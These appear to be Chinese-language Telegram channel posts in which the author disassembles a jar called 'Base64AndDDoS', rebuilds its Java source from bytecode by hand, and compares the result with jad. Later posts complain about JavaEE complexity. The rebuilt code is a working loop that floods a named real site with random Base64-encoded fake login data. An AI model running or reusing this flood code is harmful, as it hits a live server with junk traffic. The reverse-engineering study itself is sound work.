duangsuse::Echo
https://github.com/Trumeet/Desktop #Kotlin 看起来比较简单,我也想默写一个(部分不默写,比如 bitflags) 这次我会用一点面向对象(Mixins)
好像没有使用 Mixin... 因为那个的确是比较麻烦(有可能还要用 CGLib 什么的)
然后这里也的确没啥东西需要 Mixin 的,何况那个抽象类的方法都是
Commit 明确了一下 parameter 和返回值的传递,都是没有用处的值
然后这里也的确没啥东西需要 Mixin 的,何况那个抽象类的方法都是
protected
的,从外面看也很像 Mixin 了Commit 明确了一下 parameter 和返回值的传递,都是没有用处的值
GitHub
App(Control): Specify block parameters · duangsuse/Essay-Kotlin-Secure-Desktop@aaadd7a
See also https://github.com/Trumeet/Desktop. Contribute to duangsuse/Essay-Kotlin-Secure-Desktop development by creating an account on GitHub.
那我再写一个(求别喷为什么不干有意义的事情)
[DuangSUSE@duangsuse]~/Projects%
META-INF/
Base64AndDDoS.class
org/
[DuangSUSE@duangsuse]~/Projects%
public class Base64AndDDoS {
public Base64AndDDoS();
public static void main(java.lang.String[]) throws java.io.IOException, java.lang.InterruptedException;
}
... 看起来还是不如直接用 Python 之类的写(当然文本处理推荐 Perl)
不过为了方便学习 OkIO, OkHttp 就写点吧...
[DuangSUSE@duangsuse]~/Projects%
jar tf Yuuta\ \(2\).jar|head -n4
META-INF/MANIFEST.MFMETA-INF/
Base64AndDDoS.class
org/
[DuangSUSE@duangsuse]~/Projects%
javap -cp Yuuta\ \(2\).jar Base64AndDDoS
Compiled from "Base64AndDDoS.java"public class Base64AndDDoS {
public Base64AndDDoS();
public static void main(java.lang.String[]) throws java.io.IOException, java.lang.InterruptedException;
}
... 看起来还是不如直接用 Python 之类的写(当然文本处理推荐 Perl)
不过为了方便学习 OkIO, OkHttp 就写点吧...
Forwarded from 永久封存 | Yuuta 台 | 😷 #Pray4Wuhan (Al Pt)
Yuuta.jar
2.1 MB
duangsuse::Echo
Yuuta.jar
反汇编看看,敲重点。
javap -c -cp Yuuta\ \(2\).jar Base64AndDDoS
constructor
然后
javap -c -cp Yuuta\ \(2\).jar Base64AndDDoS
constructor
public Base64AndDDoS();
啥都没有,就一个 invokespecial (call super)然后
main
, 这里第一个本地表(索引 0)因为是 static
方法就代表 args
对象aload_0; arraylength: push args.length
ifle goto 9: if (pop <=0) goto truebr
iconst_1
goto 10: goto falsebr
9:truebr
iconst_0
10:falsebr
dup
istore_1
首先看看有没有参数(<=0),如果有(len>0
),则 #1 被存储为 int 1
,否则 int 0
... 算了,我们来看看如何使用 Kate 以理解程序逻辑为目标阅读 Java 字节码吧。(其实 radare 早就可以绘制流程控制图分析(就是这里的
不要跟我说为什么不直接用 jad, jeb 之类的反编译器算了,JVM 的代码都看不懂这还是人么,顺便求不要提为什么没有立刻继续写书... 目前时间比较少,先看着办
ifle<pc> ifeq<pc>
指令)了不要跟我说为什么不直接用 jad, jeb 之类的反编译器算了,JVM 的代码都看不懂这还是人么,顺便求不要提为什么没有立刻继续写书... 目前时间比较少,先看着办
duangsuse::Echo
Photo
对于分支控制流分析来说,一个值得注意的点是『分支』的控制流是否有相同的后件:
ifne 49
ifeq 53
...
goto 54
54:
istore_0
从这个跳转地址开始抽象执行余下的代码,分析器可以发现不管怎么走,54:
这样就可以把这两个分支提取综合出来,实际上是在对流程控制图进行括扑搜索
— Local variable table
%0: args String[]
%1:
at 11: boolean
at 54: boolean
—
if (p) {
console.log()
} else { console.log() }
实际上可以被转化为console.log()这类情况可能很多,再比如一个差不多的
if (p) {这里的情况是两个分支都有一个相同的操作(后件)
stack.push(1);
storage.set(1, stack.pop());
} else {
stack.push(2);
storage.set(1, stack.pop());
}
istore_1
所谓的分支要这么收集:ifne 49
ifeq 53
...
goto 54
54:
istore_0
从这个跳转地址开始抽象执行余下的代码,分析器可以发现不管怎么走,54:
istrore_1
是公共的后件,它把栈上的对象存储到本地表这样就可以把这两个分支提取综合出来,实际上是在对流程控制图进行括扑搜索
if (str.equals("f")) {
l1 = 1;
} else if (str.equals("alwayscontinue")) {
l1 = 0;
}
🙈 总之下面的都是无聊的代码就可以了,效率分析,直接 walk 跳转完全走一遍算了:— Local variable table
%0: args String[]
%1:
at 11: boolean
at 54: boolean
—
if (args.length < 0) {
// @99
// control flow skip:
} else {
String fst = args[0];
fst = fst.toLowerCase().replaceAll("^-", "");
int $const_flagbr =0; /*%1*/
if (fst .equals ("f")) {
// code route: @49[iconst_1, goto 54] -> @54[istore_1]
$const_flagbr = 1;
} else if (! fst .equals ("alwayscontinue")) {
// code route: @53[iconst_0] -> @54[istore_1]
$const_flagbr = 0;
} else {
// code route: @49[iconst_1, goto 54] -> @54[istore_1]
$const_flagbr = 1;
} // — reduction
//@55
PrintStream stdout = java.lang.System.out;
StringBuilder sb = new StringBuilder();
// new, dup, invokespecial
sb.append("\"").append(fst /*%2*/).append("\"");
//@80
sb.append($const_flagbr==0? "ignored":"accepted")
// branch reduction [@83, @88] -> @90
stdout.println(sb.toString());
}
// if (args.length...) {} else {} 共有后件 @99
OkHttpClient req = new okhttp3.OkHttpClient.Builder()
.build(); /*%2*/
// dup
Random rng = new java.util.Random(); /*%5*/
//%10 = 0
int $_10 = 0;
while (true) {
//push long 100000000l
//operator%
//push long 900000000l
//operator+
//%6=$1
long rand = rng.nextLong() % 100000000l + 900000000l // %6
String $_8 = Method org.apache.commons.lang.RandomStringUtils.random(1,1,10);
StringBuilder sb1 = new StringBuilder().append("{\"u\":\"");
sb1.append(rand);
sb1.append("\",\"p\":\"");
sb1.append($_8).append("\"}");
$_3 = sb1.toString();
$_4 = new String(
java.util.Base64.getEncoder().encode($_3.getBytes()));
RequestBuilder job = new okhttp3.Request.Builder();//dup
StringBuilder sb2 = new StringBuilder();
sb2.append("https://fffniubi888.cn/user.php?token=");
sb2.append($_4);
job.url(sb2.toString());
$_11 = job.build();
//@236
try{
Response resp = req.newCall(job).execute();
} catch (java.net.SocketTimeoutException e/*%12*/) {
// @252
e.printStackTrace();
// merged to @321
$_10 += 1;
continue;
} catch (java.lang.Exception e1/*%12*/) {
if (1 ==0) {} else {
e1.printStackTrace();
// merged to @321
$_10 += 1;continue;
}
}
// goto @279
stdout.println(new StringBuilder().append(resp).append("\t\t").append($_10).toString());
resp.close();
java.lang.Thread.sleep(100L);
//@321
$_10 += 1;
continue;
// goto @122: loop
}
/// catch Exception table:
/*from to target type
236 249 252 Class java/net/SocketTimeoutException
236 249 262 Class java/lang/Exception */
duangsuse::Echo
对于分支控制流分析来说,一个值得注意的点是『分支』的控制流是否有相同的后件: if (p) { console.log() } else { console.log() } 实际上可以被转化为 console.log() 这类情况可能很多,再比如一个差不多的 if (p) { stack.push(1); storage.set(1, stack.pop()); } else { stack.push(2); storage.set(1, stack.pop()); } 这…
This media is not supported in your browser
VIEW IN TELEGRAM
好了,循着控制流的指示,正常完成反编译,不过我还没反编译异常捕获表...
duangsuse::Echo
对于分支控制流分析来说,一个值得注意的点是『分支』的控制流是否有相同的后件: if (p) { console.log() } else { console.log() } 实际上可以被转化为 console.log() 这类情况可能很多,再比如一个差不多的 if (p) { stack.push(1); storage.set(1, stack.pop()); } else { stack.push(2); storage.set(1, stack.pop()); } 这…
有点问题, apache commons lang 的 random string 调用是
其实反过来了 #Java #reveng
然后调用 Java 的栈是后进先出的,所以第一个
好吧,我承认是我对栈的“可视化”弄错了,之前我这么想栈:
— 栈底
当然这是正确的(它的确是 LIFO),可是很多人不这么想,他们和我想的正好是反的
👇 栈顶
虽然,x86 的栈默认就是往低地址增长... 看起来这样会比较方便,可也有不方便的:
CDEF 和 Java 函数传参的时候看起来最先出栈的被视为最后一个参数,这很正常(这样调用时压入就不会那么鸡勒)
可是和我的直觉不怎么符合... 怎么看 invoke* 上面被 push 的(在模拟执行的时候)从下往上数和参数列表应该直接对应的,可是这么干给它反过来了,搞的即使有在模拟执行也不怎么好理解...
后面的是 boolean...
已经修改好了
(IZZ)V
我以为 Z 是 Float 来着,然后 J 是 Boolean...其实反过来了 #Java #reveng
然后调用 Java 的栈是后进先出的,所以第一个
bipush
上的是第一个参数...(然后 invokevirtual
是从最后一个参数开始 pop...)好吧,我承认是我对栈的“可视化”弄错了,之前我这么想栈:
— 栈底
1👆 栈顶
2
3
当然这是正确的(它的确是 LIFO),可是很多人不这么想,他们和我想的正好是反的
👇 栈顶
3— 栈底
2
1
虽然,x86 的栈默认就是往低地址增长... 看起来这样会比较方便,可也有不方便的:
CDEF 和 Java 函数传参的时候看起来最先出栈的被视为最后一个参数,这很正常(这样调用时压入就不会那么鸡勒)
可是和我的直觉不怎么符合... 怎么看 invoke* 上面被 push 的(在模拟执行的时候)从下往上数和参数列表应该直接对应的,可是这么干给它反过来了,搞的即使有在模拟执行也不怎么好理解...
后面的是 boolean...
已经修改好了
String $_8 = org.apache.commons.lang3.RandomStringUtils.random(10,true,true);
rather thanString $_8 = org.apache.commons.lang3.RandomStringUtils.random(1,1,10);
duangsuse::Echo
反编译的程序拥有等价的逻辑语义
但是我们依然可以使用 jad 来反编译它,即使我正打算自己写一个反编译器...
Generating Base64AndDDoS.jad
反编译的效果很好 🌚
区别是我完全没有看任何局部变量表,注意手动反编译的版本和机器自动反编译的版本都有一个循环,
然后我反编译丢了
jar xf Yuuta\ \(2\).jar Base64AndDDoS.class
~/bin/jad158e.linux.static/jad Base64AndDDoS.class
Parsing Base64AndDDoS.class...The class file version is 52.0 (only 45.3, 46.0 and 47.0 are supported)Generating Base64AndDDoS.jad
反编译的效果很好 🌚
区别是我完全没有看任何局部变量表,注意手动反编译的版本和机器自动反编译的版本都有一个循环,
catch
块里他们都尝试 goto
到循环头部了然后我反编译丢了
$const_flagbr
的读取,,,(其实是在后面的 catch landingpad 里读取的,但是我直接 continue;
了没判断 iload_1; ifeq 276 @276: aload 12; athrow
) 🙈
duangsuse::Echo
Trumeet/FlarumSDK 1+ 理解 快速阅览: 这是一个使用 Gson / OkHttp 的 Flarum JsonAPI 客户端程序 + 它有一些客户端实例状态 Flarum API base URL Task Executor, OkHttp Client, Gson 实例 身份验证 Token: interface TokenGetter { String getToken(); } + RequestBuilder 按照 base url, method, body, authentation…
This media is not supported in your browser
VIEW IN TELEGRAM
我总算不怕面向对象设计了, JavaEE 果然是大佬的平台, 什么 Representation, Resource links(rel/href/type, LinkableRepresentation), Adapter, 方法限定子类, Utils, 函数指针式子类实现已经是小 case 了
都在玩 CDI, Singleton Bean, Stateless Bean, SessionScoped/RequestScoped/Current,
到处隐式对象依赖
都在玩 CDI, Singleton Bean, Stateless Bean, SessionScoped/RequestScoped/Current,
@Startup
Bean, Interceptor, Stereotype, CDI Observer, NDI, DevOps, ShrinkWrap 部署 Archive 文件系统 DSL, 灰盒测试, XML 配置, Graph databases, 数据网格, JPA/JTA, BeanManager 了到处隐式对象依赖
@Observes @interface @XXXScoped @Produces @Starup @PostConstruct @Resource
到处组件化、元编程、事务性、测试、abstract class
和 type parameters 看起来才像是 JavaEE 啊
duangsuse::Echo
我总算不怕面向对象设计了, JavaEE 果然是大佬的平台, 什么 Representation, Resource links(rel/href/type, LinkableRepresentation), Adapter, 方法限定子类, Utils, 函数指针式子类实现已经是小 case 了 都在玩 CDI, Singleton Bean, Stateless Bean, SessionScoped/RequestScoped/Current, @Startup Bean, Interceptor,…
亏它还说是『接地气』的指南,果然只是指南而已,这根本不是 Java 入门级别开发者能 handle 的复杂度啊!
就是那个
然鹅,对很多人来说,他们对『“服务端”发送一封邮件』的直觉是:
可是你却要教他们用
Java 面向对象本来是为了降低门槛,可是 JavaEE 却是在背道而驰,因为它要通过提升编程难度、记忆模式数量的方式使得软件更容易维护更新测试.... 这样看起来才像是“企业级”软件
就是那个
SMTPMailService
(还是封装了 JavaEE 本身的 javax.mail
API)恐怕初学者不写个一两天也是弄不出来的(涉及上下文依赖注入、JNDI 服务查找、javax.mail.*
API、JMX Queue、MessageDriven Bean、XML、java.util.concurrent.CyclicBarrier
同步工具类、Subetha SMTP Server、测试部署过程、...)然鹅,对很多人来说,他们对『“服务端”发送一封邮件』的直觉是:
abstract fun sendMail(toAddr: String, subject: String, body: String)或者
abstract fun sendMail(toAddr: String, subject: String, body: String, mime: MimeType)或者
abstract fun sendMail(toAddr: String, subject: String, body: String, mime: MimeType): Future<MailSendResult>...
可是你却要教他们用
java.io.Serializable
去用 Builder pattern 去生成什么“可变”“不可变” “线程安全传输” 的 MailMessage
对象@Inject MailService mailer;而且后面还有一大堆被模块化松耦合的逻辑... 寻找
//...
MailMessage smg = new MailMessage.Builder()
.from("duangsuse@example.org")
.addTo("cxk@example.org")
.subject("Re: 🏀 挑战")
.body("😧").type(MimeType.TEXT_PLAIN)
.build();
mailer.queueForDelivery(smg);
javax.mail.Session
资源啊、拿到注入 smtpQueue 啊、拿到 Java JMX 的 ConnectionFactory 啊、发送到消息队列啊(之间又要用到数个 API,比如 ObjectMessage、Session、(Message)Producer,到了队列的 MessageDriven Bean 里又要 Check cast 两次确保运行时类型安全,而且这还需要一个 sendMail(final MailMessage)
的辅助,这个函数的逻辑还仅仅只是把 MailMessage 翻译成 MimeMessage
然后 Transport.send
而且它也是一个 Bean @EJB
... 还有 MessageDriven Bean 还要填写个 annoatation 元数据、这个 annotation 里面还需要仨 annotation(acknowledgeMode, destination, destinationType) 才能工作(Java Connector Architect),这仨还是 Java 经典令人头疼的 property(Map<String,Object>
) 模式)...Java 面向对象本来是为了降低门槛,可是 JavaEE 却是在背道而驰,因为它要通过提升编程难度、记忆模式数量的方式使得软件更容易维护更新测试.... 这样看起来才像是“企业级”软件